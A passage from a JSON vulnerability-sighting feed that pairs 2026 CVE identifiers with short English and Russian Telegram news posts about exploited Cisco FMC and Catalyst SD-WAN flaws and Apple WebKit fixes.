FMC flaw CVE-2026-20131 36 days before disclosure\nhttps://ift.tt/0ND7WTe", "creation_timestamp": "2026-03-19T09:44:36.000000Z"}, {"uuid": "8e232db4-d9a0-480e-a9b0-c5231bf0624d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "exploited", "source": "https://t.me/ctinow/247360", "content": "Interlock Ransomware Exploits Cisco FMC Zero-Day CVE-2026-20131 for Root Access\nhttps://ift.tt/gMlGZKu", "creation_timestamp": "2026-03-18T16:20:12.000000Z"}, {"uuid": "85a734d4-046e-4b29-9834-0a038487d72c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "exploited", "source": "https://t.me/true_secator/7969", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043d\u0430\u0447\u0430\u043b\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0432\u043e\u043b\u043d\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u0432\u0443\u0445 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Catalyst SD-WAN \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n25 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f\u00a0\u043f\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Catalyst SD-WAN, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root.\u00a0\n\n\u041f\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044e \u043d\u0430 5 \u043c\u0430\u0440\u0442\u0430 Cisco \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0441\u0432\u043e\u0435 \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0435 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u0432 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0435\u0439 \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u0432\u0443\u0445 \u0438\u0437 \u043f\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2026-20128 \u0438 CVE-2026-20122.\n\n\u041f\u0435\u0440\u0432\u0430\u044f, CVE-2026-20128, - \u044d\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0430\u0433\u0435\u043d\u0442\u0430 \u0441\u0431\u043e\u0440\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 (DCA) \u0432 Catalyst SD-WAN Manager. \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f DCA \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u0414\u0440\u0443\u0433\u0430\u044f, CVE-2026-20122, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u044d\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0443\u044e API Catalyst SD-WAN Manager. \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c\u0443 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n\u0412 Cisco \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u043e \u0432 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u0447\u0442\u043e \u043e\u043d\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438.\n\n\u041d\u043e \u0441\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0442\u0430\u0442\u0443\u0441\u0430 \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0434\u0435\u043b\u044e \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439\u00a00-day, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0439 Catalyst SD-WAN.\n\nCVE-2026-20127 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\u0422\u043e\u0433\u0434\u0430 CISA \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u0430, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u043b\u0430\u0441\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u0431\u043e\u043b\u0435\u0435 \u0441\u0442\u0430\u0440\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e Catalyst, CVE-2022-20775, \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCisco Talos \u0441\u0432\u044f\u0437\u0430\u043b\u0430 \u044d\u0442\u0438 \u0430\u0442\u0430\u043a\u0438 \u0441 UAT-8616, \u043f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0441 2023 \u0433\u043e\u0434\u0430.\u00a0\u041d\u043e \u043d\u0435\u044f\u0441\u043d\u043e, \u0431\u044b\u043b\u0438 \u043b\u0438 \u0432\u0441\u0435 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Catalyst SD-WAN \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0432 \u043e\u0434\u043d\u043e\u0439 \u0438\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u0445.\u00a0\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Cisco \u0442\u0430\u043a\u0436\u0435 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u043b\u0430 \u0430\u0442\u0430\u043a\u0438 \u0441 \u043d\u0443\u043b\u044f\u043c\u0438,\u00a0\u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043c\u044b\u043c\u0438 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 APT, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0439 \u043a\u0430\u043a UAT-9686. \u0412 \u043e\u0431\u0449\u0435\u043c, \u0431\u0443\u0434\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c.", "creation_timestamp": "2026-03-05T17:00:08.000000Z"}, {"uuid": "8a5a436b-4184-45ce-8963-e5f68d271743", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://t.me/true_secator/8005", "content": "Apple \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u0435\u0440\u0432\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Background Security Improvements \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 WebKit, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-20643, \u043d\u0430 iPhone, iPad \u0438 Mac, \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0435\u0435 \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u041e\u0421.\n\nCVE-2026-20643 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0432\u0435\u0431-\u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0443 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0443 Same Origin Policy \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043c\u0435\u0436\u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0432 API \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0437\u0430 \u0441\u0447\u0435\u0442 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0422\u043e\u043c\u0430\u0441\u0443 \u042d\u0441\u043f\u0430\u0445\u0443. \u041d\u043e\u0432\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0434\u043b\u044f iOS 26.3.1, iPadOS 26.3.1, macOS 26.3.1 \u0438 macOS 26.3.2.\n\n\u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u044d\u0442\u043e\u0433\u043e \u0440\u0435\u043b\u0438\u0437\u0430 Apple \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 \u0440\u0430\u043d\u0435\u0435 \u0430\u043d\u043e\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u00ab\u0444\u043e\u043d\u043e\u0432\u044b\u0445 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\u00bb, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0445 \u0432\u043d\u0435\u043f\u043b\u0430\u043d\u043e\u0432\u044b\u0445 \u043f\u0430\u0442\u0447\u0435\u0439 \u0432\u043d\u0435 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u0446\u0438\u043a\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439.\n\n\u0424\u043e\u043d\u043e\u0432\u044b\u0435 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044e\u0442 \u0432\u044b\u043f\u0443\u0441\u043a \u043e\u0431\u043b\u0435\u0433\u0447\u0435\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0442\u0430\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0431\u0440\u0430\u0443\u0437\u0435\u0440 Safari, \u0441\u0442\u0435\u043a \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 WebKit \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438.\n\n\u0412 \u0440\u0435\u0434\u043a\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0432\u043e\u0437\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u0444\u043e\u043d\u043e\u0432\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u044b, \u0430 \u0437\u0430\u0442\u0435\u043c \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u044b \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u041f\u041e.\n\n\u0420\u0430\u043d\u044c\u0448\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Apple \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0438 \u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043d\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u041e\u0421 \u0441 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u043e\u0439 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430. \u041e\u0434\u043d\u0430\u043a\u043e \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043d\u043e\u0432\u043e\u0439 Apple \u0442\u0435\u043f\u0435\u0440\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u0432 \u0444\u043e\u043d\u043e\u0432\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435 \u0432 iOS 26.1, iPadOS 26.1 \u0438 macOS 26.1.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c Apple \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0443\u043b\u0443\u0447\u0448\u0430\u044e\u0449\u0435\u0433\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0432 \u0444\u043e\u043d\u043e\u0432\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044e \u0432\u0441\u0435\u0445 \u0440\u0430\u043d\u0435\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0444\u043e\u043d\u043e\u0432\u044b\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u043a \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u041e\u0421 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, iOS 26.3.1) \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u042d\u0442\u043e \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u044d\u0442\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0431\u044b\u0441\u0442\u0440\u043e\u0433\u043e \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430 \u0431\u0430\u0437\u043e\u0432\u043e\u043c \u0443\u0440\u043e\u0432\u043d\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043e \u0442\u0435\u0445 \u043f\u043e\u0440, \u043f\u043e\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0435 \u0431\u0443\u0434\u0443\u0442 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u0438\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 \u0431\u0443\u0434\u0443\u0449\u0435\u0435 \u043f\u043e\u043b\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u041f\u043e\u044d\u0442\u043e\u043c\u0443, \u0435\u0441\u043b\u0438 \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043d\u0430 \u0432\u0430\u0448\u0435\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435, \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0438\u0445.", "creation_timestamp": "2026-03-18T12:43:30.000000Z"}, {"uuid": "5cdba056-5621-4c14-8ab6-e14853437eec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://t.me/BleepingComputer/24287", "content": "\u200aCISA orders feds to patch max-severity Cisco flaw by Sunday\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) has ordered federal agencies to patch a maximum-severity vulnerability, CVE-2026-20131, in Cisco Secure Firewall Management Center (FMC) by Sunday,\u00a0March 22. [...]\n\nhttps://www.bleepingcomputer.com/news/security/cisa-orders-feds-to-patch-max-severity-cisco-flaw-by-sunday/", "creation_timestamp": "2026-03-20T16:00:23.000000Z"}, {"uuid": "5d17566b-2db0-4121-8cd3-5521e67020fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "exploited", "source": "https://t.me/true_secator/7903", "content": "Apple \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u0439 \u0432 \u044d\u0442\u043e\u043c \u0433\u043e\u0434\u0443 0-day (\u0432 2025 \u0438\u0445 \u0431\u044b\u043b\u043e 7), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u00ab\u0447\u0440\u0435\u0437\u0432\u044b\u0447\u0430\u0439\u043d\u043e \u0438\u0437\u043e\u0449\u0440\u0435\u043d\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0435\u00bb, 